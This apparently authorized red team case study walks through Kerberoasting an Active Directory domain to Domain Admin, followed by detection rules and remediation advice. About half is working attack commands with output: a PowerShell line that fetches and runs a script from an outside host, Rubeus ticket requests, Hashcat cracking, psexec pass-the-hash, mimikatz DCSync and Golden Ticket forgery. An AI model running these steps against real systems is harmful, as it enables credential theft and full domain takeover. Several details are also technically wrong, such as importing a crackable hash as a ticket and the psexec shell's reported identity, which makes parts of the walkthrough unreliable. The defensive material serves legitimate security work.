Kerberoasting to Domain Admin: A Complete Active Directory Attack Chain

Executive Summary

This technical case study documents a red team engagement against a mid-sized enterprise running a Windows Active Directory environment. Starting from a single low-privileged domain user account — simulating a phishing-based initial access scenario — our team escalated to Domain Admin privileges in under six hours. The pivotal technique in this kill chain was Kerberoasting, a well-known but consistently underestimated Active Directory attack that exploits the Kerberos authentication protocol to steal and crack service account password hashes offline.

Engagement Overview

• Target Environment: Windows Server 2019 AD, ~350 user accounts, 8 Domain Controllers
• Initial Access Simulation: Low-privileged domain user (helpdesk tier-1)
• Scope: Internal network, no restrictions on lateral movement
• Duration: 5 hours 47 minutes from initial access to DA
• Detection Status: Zero alerts triggered in the customer's SIEM during the attack chain
• Tools Used: BloodHound, SharpHound, Impacket, Hashcat, Rubeus, mimikatz

Key Findings

1. 17 Kerberoastable accounts found in the domain, 4 with crackable passwords
2. One service account had Domain Admin membership — direct path to DA
3. No monitoring on TGS requests for service accounts
4. Legacy SPNs present on user accounts, widening the attack surface
5. Zero alerts generated throughout the engagement

---

Background: How Kerberos Authentication Works

Before diving into the attack, it is essential to understand how Kerberos authentication functions in Active Directory environments, and specifically why it is vulnerable to this class of attack.

The Kerberos Ticket Exchange Process

Kerberos uses a ticket-based model to authenticate users to services without transmitting passwords over the network:

1. AS-REQ / AS-REP (Authentication Service Exchange): The client authenticates to the Key Distribution Center (KDC) using their password hash. The KDC issues a Ticket Granting Ticket (TGT), encrypted with the KDC's secret key (krbtgt account).

2. TGS-REQ / TGS-REP (Ticket Granting Service Exchange): The client presents its TGT and requests a Service Ticket (TGS) for a specific service. The KDC issues the TGS encrypted with the service account's NTLM hash.

3. AP-REQ (Application Exchange): The client presents the TGS to the target service. The service decrypts the ticket with its own password hash and grants access.

The Kerberoasting Vulnerability

The critical weakness here is in step 2. When a domain user requests a TGS for a service, the KDC encrypts that ticket using the NTLM hash of the service account associated with the Service Principal Name (SPN). Importantly:

• Any authenticated domain user can request a TGS for any SPN registered in the domain
• The KDC does not check whether the requesting user has permission to use the service
• The TGS is encrypted with RC4-HMAC (or AES, if configured) using the service account's password hash
• The attacker can take the TGS offline and brute-force the password without any further network interaction

This means that if a service account has a weak or guessable password, any domain user can crack it entirely offline — no failed logins, no account lockouts, no network noise.

---

Phase 1: Initial Foothold

Simulated Initial Access

For this engagement, the starting point was a simulated phishing compromise. The customer handed us credentials for a standard helpdesk user account:

Username: [email protected]
Password: Welcome2024!
Privileges: Domain Users only

This is the most common real-world starting point in ransomware and APT intrusions — a low-privileged domain account obtained via phishing, credential stuffing, or purchased from an initial access broker.

With these credentials, we authenticated to the domain and began our reconnaissance phase.

---

Phase 2: Internal Reconnaissance

2.1 Domain Enumeration with BloodHound

BloodHound is the gold standard for Active Directory attack path analysis. It uses graph theory to map relationships between users, computers, groups, and ACLs, identifying the shortest path from any node to Domain Admin.

We deployed SharpHound (the BloodHound data collector) to enumerate the domain:

# Deploy SharpHound collector
.\SharpHound.exe -c All --zipfilename ad-collection.zip --outputdirectory C:\Windows\Temp

[*] Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn,
    Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[*] Initializing SharpHound at 09:14:32 on 02/28/2026
[*] Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL,
    Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[*] Status: 347 objects finished (+347 347)/s -- Using 72 MB RAM
[*] Enumeration finished in 00:03:42
[*] Compressing data to C:\Windows\Temp\ad-collection.zip

After importing the data into BloodHound, we immediately ran the pre-built query "Find Shortest Paths to Domain Admins" and "List All Kerberoastable Accounts".

2.2 Identifying Kerberoastable Service Accounts

BloodHound revealed 17 accounts with SPNs registered — all candidates for Kerberoasting. We also used PowerView for a more granular look:

# Import PowerView
IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.10/PowerView.ps1')

# Enumerate Kerberoastable accounts
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof, pwdlastset

samaccountname       serviceprincipalname                   memberof                    pwdlastset
--------------       --------------------                   --------                    ----------
svc-mssql            MSSQLSvc/SQLPROD01:1433                Domain Admins               2019-03-15 11:22:04
svc-backup           BackupSvc/BACKUPSRV01                  Backup Operators            2021-06-08 09:12:31
svc-web              HTTP/webapp.corp.local                 Web Admins                  2022-11-20 14:33:18
svc-monitoring       WSMAN/monitor.corp.local               IT Helpdesk                 2023-07-04 08:55:44
...

The first result stopped us in our tracks: svc-mssql is a member of Domain Admins and the password was last set in 2019. A seven-year-old password on a Domain Admin service account — this is the kind of misconfiguration that defines a full compromise.

We also confirmed this visually in BloodHound:

• svc-mssql → MSSQLSvc/SQLPROD01:1433 (SPN)
• svc-mssql → Domain Admins (direct group membership)
• helpdesk.user01 → can request TGS for svc-mssql (any domain user can)

The attack path was clear. We had a direct route from our helpdesk account to Domain Admin via a single Kerberoastable service account.

2.3 Additional Domain Reconnaissance

While preparing our Kerberoasting attack, we also ran additional enumeration to understand the broader environment:

# Domain information
Get-DomainController | Select-Object Name, Domain, Forest, OSVersion

# Password policy
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

MinimumPasswordAge    : 1
MaximumPasswordAge    : 90
MinimumPasswordLength : 8
PasswordComplexity    : 1
LockoutBadCount       : 0  # No lockout policy — allows brute force
LockoutDuration       : 0

# Domain admins
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName

MemberName
----------
Administrator
svc-mssql     # <- our target
it.admin

The absence of an account lockout policy (LockoutBadCount: 0) was a secondary finding — but the Kerberoasting attack doesn't even require it, since all cracking happens offline.

---

Phase 3: Kerberoasting

3.1 Requesting Service Tickets

With our target identified, we requested Kerberos service tickets for all SPNs using Rubeus, a powerful .NET toolset for Kerberos abuse:

# Request TGS tickets for all Kerberoastable accounts and save to file
.\Rubeus.exe kerberoast /outfile:kerberoast-hashes.txt /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)  
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for AES accounts.

[*] Target Domain          : corp.local
[*] Searching path 'LDAP://DC01.corp.local/DC=corp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*))'

[*] Total kerberoastable users : 17

[*] SamAccountName         : svc-mssql
[*] DistinguishedName      : CN=svc-mssql,OU=Service Accounts,DC=corp,DC=local
[*] ServicePrincipalName   : MSSQLSvc/SQLPROD01:1433
[*] PwdLastSet             : 3/15/2019 11:22:04 AM
[*] Supported ETypes       : RC4_HMAC
[*] Hash                   : $krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:[email protected]*$...

[*] SamAccountName         : svc-backup
[*] ServicePrincipalName   : BackupSvc/BACKUPSRV01
...

The tool successfully retrieved TGS tickets for all 17 accounts in seconds. Each hash is the encrypted TGS, which we will now crack offline.

3.2 Impacket Alternative (Linux)

For completeness, the same attack can be executed from Linux using Impacket's GetUserSPNs.py:

# Request all TGS hashes from Linux
python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 corp.local/helpdesk.user01:Welcome2024!

Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName            Name        MemberOf              PasswordLastSet
------------------------------  ----------  --------------------  -------------------
MSSQLSvc/SQLPROD01:1433         svc-mssql   Domain Admins         2019-03-15 11:22:04
BackupSvc/BACKUPSRV01           svc-backup  Backup Operators      2021-06-08 09:12:31
HTTP/webapp.corp.local          svc-web     Web Admins            2022-11-20 14:33:18

$krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:[email protected]*$9e3f0b2d...[truncated]
$krb5tgs$23$*svc-backup$corp.local$BackupSvc/[email protected]*$4a1c8f3e...[truncated]

3.3 Offline Hash Cracking with Hashcat

With the hashes saved, we moved to an offline cracking workstation equipped with a GPU. Kerberoast hashes are type $krb5tgs$23$ (RC4-HMAC, Hashcat mode 13100):

# Crack RC4 Kerberoast hashes with Hashcat
hashcat -m 13100 kerberoast-hashes.txt /wordlists/rockyou.txt -r /rules/best64.rule --force

hashcat (v6.2.6) starting...

OpenCL API (OpenCL 3.0 CUDA 12.2.0) - Platform #1 [NVIDIA Corporation]
===========================================================================
* Device #1: NVIDIA GeForce RTX 4090, 24320/24576 MB, 128MCU

$krb5tgs$23$*svc-mssql$...:Mssql@2019      # CRACKED in 3 minutes 14 seconds
$krb5tgs$23$*svc-backup$...:Backup123!     # CRACKED in 7 minutes 52 seconds
$krb5tgs$23$*svc-web$...:                  # Not cracked (strong password)

Session..........: hashcat
Status...........: Cracked (2 of 4 RC4 hashes)
Recovered........: 2/4 (50.00%) Digests
Time.Started.....: Fri Feb 28 10:22:11 2026
Time.Estimated...: Fri Feb 28 10:30:03 2026
Candidates.#1....: rockyou:Mssql@2019
Progress.........: 14344385/14344385 (100.00%)
Speed.#1.........:  5,123.4 MH/s

svc-mssql password cracked: Mssql@2019

The password is straightforward: the service name plus the year it was last changed. This is an extremely common pattern in enterprise environments, especially for service accounts that predate modern password policies.

---

Phase 4: Lateral Movement

4.1 Pass-the-Ticket (PTT)

With the cracked password, we had multiple options. We chose Pass-the-Ticket using the TGS we had already obtained, which avoids creating new authentication events:

# Inject the TGS ticket into current session memory
.\Rubeus.exe ptt /ticket:$krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:[email protected]*$...

[*] Action: Import Ticket
[+] Ticket successfully imported!

# Verify ticket in memory
klist

Current LogonId is 0:0x48a3d2

Cached Tickets: (1)
#0>     Client: svc-mssql @ CORP.LOCAL
        Server: MSSQLSvc/SQLPROD01:1433 @ CORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        End Time: 2/28/2026 21:14:32 (local)
        Renew Time: 3/7/2026 09:14:32 (local)

4.2 Pass-the-Hash Alternative

Alternatively, since we had the plaintext password, we could compute the NTLM hash and use Pass-the-Hash:

# Compute NTLM hash of cracked password
python3 -c "import hashlib; print(hashlib.new('md4', 'Mssql@2019'.encode('utf-16le')).hexdigest())"
# Output: 8f538e4e9d7b3dfc4e2d1e9a7c6f0b12

# Authenticate using Pass-the-Hash with psexec
python3 psexec.py -hashes :8f538e4e9d7b3dfc4e2d1e9a7c6f0b12 [email protected] cmd.exe

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on DC01.corp.local.....
[*] Found writable share ADMIN$
[*] Uploading file EJtKfgQP.exe
[*] Opening SVCManager on DC01.corp.local.....
[*] Creating service RkpD on DC01.corp.local.....
[*] Starting service RkpD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.5206]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\svc-mssql

C:\Windows\system32>net group "Domain Admins" /domain
Group name     Domain Admins
Comment        Designated administrators of the domain

Members
-------------------------------------------------------------------
Administrator            it.admin                 svc-mssql
The command completed successfully.

We now had a shell on the Domain Controller running as svc-mssql — a Domain Admin.

---

Phase 5: Domain Compromise

5.1 DCSync — Extracting All Domain Credentials

With Domain Admin privileges, we performed a DCSync attack using mimikatz to dump all domain credentials from Active Directory. DCSync mimics the behavior of a Domain Controller replicating credentials, making it extremely stealthy:

# DCSync to dump all domain hashes
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" exit

mimikatz # lsadump::dcsync /domain:corp.local /all /csv
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] Exporting domain 'corp.local'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 2021-03-22 09:11:07
Object Security ID   : S-1-5-21-2892736451-3294054949-1009416568-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: d6f68bba7c9a5a9d97a0ede70bd4f4c6
  Hash NTLM history:
    ntlm- 0: d6f68bba7c9a5a9d97a0ede70bd4f4c6

...
[+] 347 accounts dumped

Dumping the krbtgt NTLM hash is the ultimate Active Directory compromise milestone. With the krbtgt hash, an attacker can forge Golden Tickets — Kerberos TGTs that grant access to any service in the domain indefinitely, without needing any other credentials.

5.2 Golden Ticket Creation

To demonstrate the full persistence impact:

# Create a Golden Ticket with 10-year lifetime
.\mimikatz.exe "
kerberos::golden 
  /user:GoldenAdmin 
  /domain:corp.local 
  /sid:S-1-5-21-2892736451-3294054949-1009416568 
  /krbtgt:d6f68bba7c9a5a9d97a0ede70bd4f4c6 
  /endin:3652 
  /renewmax:3652 
  /ticket:golden.kirbi
" exit

[+] Golden ticket created: golden.kirbi

# The golden ticket can be injected into any session to
# gain Domain Admin access even after the svc-mssql password is reset

This demonstrates why full containment after an AD compromise requires rotating the krbtgt password twice (to invalidate all existing TGTs) and conducting a thorough investigation of all created persistence mechanisms.

5.3 Timeline Summary

Time	Action	Technique
T+0:00	Initial access with helpdesk credentials	T1078.002
T+0:08	SharpHound domain enumeration	T1087.002
T+0:15	BloodHound analysis, path identified	T1087.002
T+0:22	Kerberoast all SPNs with Rubeus	T1558.003
T+0:25	Exfiltrate hashes to cracking station	T1041
T+3:39	svc-mssql hash cracked (Mssql@2019)	T1110.002
T+3:45	Pass-the-Hash to Domain Controller	T1550.002
T+3:52	Shell on DC01 as svc-mssql (Domain Admin)	T1078.002
T+4:11	DCSync — all domain hashes dumped	T1003.006
T+4:18	Golden Ticket created (krbtgt hash)	T1558.001
T+5:47	Full engagement concluded	—

---

MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Tool Used
Reconnaissance	T1087.002	Account Discovery: Domain Account	BloodHound, PowerView
Discovery	T1482	Domain Trust Discovery	BloodHound
Discovery	T1069.002	Permission Groups Discovery: Domain Groups	PowerView
Credential Access	T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting	Rubeus, Impacket
Credential Access	T1003.006	OS Credential Dumping: DCSync	mimikatz
Lateral Movement	T1550.002	Use Alternate Authentication Material: Pass the Hash	psexec.py
Lateral Movement	T1550.003	Use Alternate Authentication Material: Pass the Ticket	Rubeus
Privilege Escalation	T1078.002	Valid Accounts: Domain Accounts	—
Persistence	T1558.001	Steal or Forge Kerberos Tickets: Golden Ticket	mimikatz
Collection	T1039	Data from Network Shared Drive	—

---

Why Is This Attack So Effective?

The Offline Cracking Advantage

Kerberoasting's fundamental strength is that it requires no brute-force attempts against live systems. Unlike password spraying or brute-force attacks which generate account lockout events and failed authentication logs, Kerberoasting:

• Generates only a single, normal-looking TGS-REQ event (Event ID 4769)
• All cracking happens offline on attacker-controlled hardware
• No network connection required after obtaining the hash
• No account lockout risk whatsoever
• The KDC has no way to detect offline cracking attempts

Why Service Accounts Are Vulnerable

Service accounts present unique challenges for organizations:

1. Long-lived passwords: Service accounts often go years without password changes because rotation risks breaking the application that uses them
2. Predictable patterns: IT teams use memorable patterns (ServiceName@Year) for service account passwords
3. Excessive privileges: Service accounts are often over-provisioned for convenience ("give it Domain Admin, that way it'll definitely work")
4. Weak monitoring: Service account authentication events are rarely baselined or alerted on
5. Legacy SPNs: Old SPNs are rarely cleaned up even after decommissioning services

AES vs RC4 Encryption

By default, Kerberos will negotiate RC4-HMAC encryption for TGS tickets if the account supports it, because this is the fastest encryption type to crack. Organizations can mitigate this partially by enforcing AES-only encryption (Hashcat mode 19700 for AES-256), but the attack still works — it just takes longer with weaker passwords.

---

Detection Opportunities

Despite being a powerful and stealthy technique, Kerberoasting does leave detectable artifacts. Here is what the blue team should monitor:

Windows Event Logs

Event ID 4769 — Kerberos Service Ticket Operations

This is the primary detection event. Key fields to analyze:

Event ID: 4769
Event: A Kerberos service ticket was requested

Account Name: [email protected]
Account Domain: CORP.LOCAL
Service Name: svc-mssql
Service ID: S-1-5-21-...-1234
Ticket Options: 0x40810010
Ticket Encryption Type: 0x17   <-- RC4-HMAC (suspicious for modern environments)
Client Address: ::ffff:192.168.10.45

Detection Logic:

• Alert when Ticket Encryption Type = 0x17 (RC4-HMAC) for service accounts in modern environments
• Alert when a single user requests TGS tickets for many SPNs in a short timeframe (mass Kerberoasting)
• Alert when non-service accounts request TGS for high-privileged service accounts

Detecting Rubeus / Impacket

Event ID: 4624 (Logon) with LogonType 3 from unexpected sources
Event ID: 4648 — A logon was attempted using explicit credentials
Sysmon Event ID 1 — Process Creation: Rubeus.exe, SharpHound.exe
Sysmon Event ID 3 — Network Connection from .NET process to DC port 88

Honeypot Service Accounts (Honeytoken)

One of the most effective Kerberoasting detection strategies is placing honeytoken service accounts in the domain:

1. Create a fake service account with an SPN: svc-honeypot with FakeSPN/fakesrv.corp.local
2. The account has a very strong password that cannot be cracked
3. Configure SACL auditing to alert on any TGS request for this account
4. Any request for this ticket is a guaranteed Kerberoasting indicator — no legitimate system should ever request it

# Create honeypot service account
New-ADUser -Name "svc-honeypot" -SamAccountName "svc-honeypot" -AccountPassword (ConvertTo-SecureString "H0n3yP0t!2026@#$%^&*VERYLONGPASSWORD" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "svc-honeypot" -ServicePrincipalNames @{Add="FakeSVC/honeypot.corp.local"}

# Configure SACL for auditing
# Any authentication attempt to this account should fire an immediate alert

---

Remediation and Hardening Recommendations

Critical (Immediate Action Required)

1. Audit All Service Accounts with SPNs

# Find all Kerberoastable accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf, PasswordLastSet, PasswordNeverExpires |
Select-Object SamAccountName, ServicePrincipalName, @{N='Groups';E={$_.MemberOf -join ', '}}, PasswordLastSet, PasswordNeverExpires |
Export-Csv -Path C:\Reports\kerberoastable-accounts.csv -NoTypeInformation

• Remove any service account from Domain Admins or other highly privileged groups immediately
• Rotate all service account passwords that are older than 1 year
• Enforce a minimum password length of 25 characters for all service accounts

2. Migrate to Managed Service Accounts (MSA/gMSA)

Group Managed Service Accounts (gMSA) are the definitive fix for Kerberoasting on service accounts. gMSAs have passwords that are:

• Automatically rotated by Windows every 30 days
• 240-character random passwords generated by the KDC
• Impossible to Kerberoast (the password hash changes before offline cracking completes)

# Create a gMSA to replace svc-mssql
New-ADServiceAccount -Name "gmsa-mssql" \
  -DNSHostName "sqlprod01.corp.local" \
  -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers" \
  -ServicePrincipalNames "MSSQLSvc/SQLPROD01:1433"

# Install on the SQL server
Install-ADServiceAccount -Identity "gmsa-mssql"

# Configure SQL Server to use gMSA (in SQL Server Configuration Manager)
# Service account: corp\gmsa-mssql$  (note the trailing $)

3. Enable AES Encryption for Service Accounts

While not a complete fix, forcing AES-256 encryption makes Kerberoasting significantly harder:

# Force AES encryption for service accounts
Set-ADUser -Identity svc-mssql -KerberosEncryptionType AES256

# Disable RC4 at the domain level (test thoroughly before deploying)
Set-ADDefaultDomainPasswordPolicy -Identity corp.local ...
# Or via GPO: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options >
# Network security: Configure encryption types allowed for Kerberos
# Uncheck: RC4_HMAC_MD5

High Priority (Within 30 Days)

4. Implement the Principle of Least Privilege for Service Accounts

• Service accounts should have only the permissions required for their specific function
• No service account should ever be a member of Domain Admins, Enterprise Admins, or Schema Admins
• Use just-in-time (JIT) access for privileged operations using solutions like Microsoft PAM or BeyondTrust
• Implement Privileged Access Workstations (PAW) for all privileged account management

5. Clean Up Legacy SPNs

# Find SPNs pointing to decommissioned servers
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
ForEach-Object {
  $user = $_
  $_.ServicePrincipalName | ForEach-Object {
    $spn = $_
    $server = ($spn -split '/')[1] -split ':' | Select-Object -First 1
    if (-not (Resolve-DnsName $server -ErrorAction SilentlyContinue)) {
      Write-Output "Orphaned SPN: $spn on $($user.SamAccountName)"
    }
  }
}

6. Deploy Kerberoasting Detection Rules

Splunk Detection Rule:

index=wineventlog EventCode=4769
| eval encryption_type=mvindex(Ticket_Encryption_Type,0)
| where encryption_type="0x17" AND Service_Name!="krbtgt" AND Service_Name!="*$"
| stats count by Account_Name, Service_Name, Client_Address
| where count > 5
| alert action=email, subject="Potential Kerberoasting Detected"

Microsoft Sentinel KQL:

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where ServiceName != "krbtgt"
| summarize RequestCount = count(), Services = makeset(ServiceName) by AccountName, IpAddress, bin(TimeGenerated, 1h)
| where RequestCount > 3
| project TimeGenerated, AccountName, IpAddress, RequestCount, Services

Long-Term (Strategic)

7. Deploy Microsoft Advanced Threat Analytics (ATA) or Defender for Identity

Microsoft Defender for Identity (formerly Azure ATP) has built-in Kerberoasting detection that analyzes TGS request patterns at the domain controller level, correlating volume, timing, and encryption type anomalies automatically.

8. Regular Red Team Exercises

Kerberoasting and Active Directory attack paths should be tested regularly:

• Quarterly: Automated AD health checks using tools like PingCastle or BloodHound Community Edition
• Bi-annually: Full red team exercises simulating domain compromise scenarios
• Annually: Purple team exercises to validate and tune detection capabilities

---

Lessons Learned

This engagement highlighted a pattern we see repeatedly across enterprise environments: Active Directory is treated as infrastructure rather than as a security boundary. The following organizational and process failures enabled a complete domain compromise from a single helpdesk credential:

Root Causes

1. No service account lifecycle management: The svc-mssql account was created in 2019 with excessive privileges and a weak password, and was never revisited in seven years
2. Over-privileged service accounts: Someone added svc-mssql to Domain Admins for convenience, likely during a troubleshooting session that was never reversed
3. No AD security monitoring: 17 Kerberoastable accounts with no alerting on RC4 TGS requests
4. No BloodHound-equivalent tooling on the defensive side: The attack path was trivially visible in BloodHound — defenders who run BloodHound regularly would have caught this misconfiguration
5. No password policy enforcement for service accounts: An 8-character minimum with complexity does not constitute an effective policy for accounts with SPNs

The Single Point of Failure Problem

One of the most important takeaways from this engagement is how a single misconfiguration — one service account in Domain Admins — converted what would have been a low-impact Kerberoasting finding into a complete domain compromise. Defense-in-depth is not just about having multiple security tools; it is about ensuring that no single misconfiguration can create a straight-line path from a low-privileged user to Domain Admin.

---

Conclusion

Kerberoasting is not a new technique — it was first described by Tim Medin at DerbyCon 2014 — yet it remains one of the most reliably successful attack paths in modern enterprise Active Directory environments. The combination of legitimate protocol behavior, offline cracking, and widespread service account hygiene failures makes it a staple of every red team's toolkit.

The key takeaways from this engagement:

1. gMSAs eliminate Kerberoasting for service accounts — migrate immediately
2. Service accounts should never hold privileged group memberships — audit now
3. RC4-HMAC TGS requests are detectable — implement SIEM rules immediately
4. Run BloodHound in your own environment — see what attackers see before they do
5. Kerberoasting generates almost no noise — passive monitoring alone is insufficient; proactive auditing is essential

With a complete domain compromise in under six hours starting from a single helpdesk credential, this engagement underscores why Active Directory security cannot be treated as a set-and-forget configuration. It requires continuous auditing, monitoring, and adversary simulation.

---

This technical case study is an anonymized account of an authorized red team engagement conducted by the Netlore Security Red Team. All identifying information has been changed. The engagement was performed under full legal authorization and a signed Rules of Engagement document.

Is your Active Directory environment resilient against Kerberoasting and domain compromise attack chains? Netlore Security offers comprehensive Active Directory security assessments, BloodHound-driven attack path analysis, and purple team exercises. Contact us: [email protected]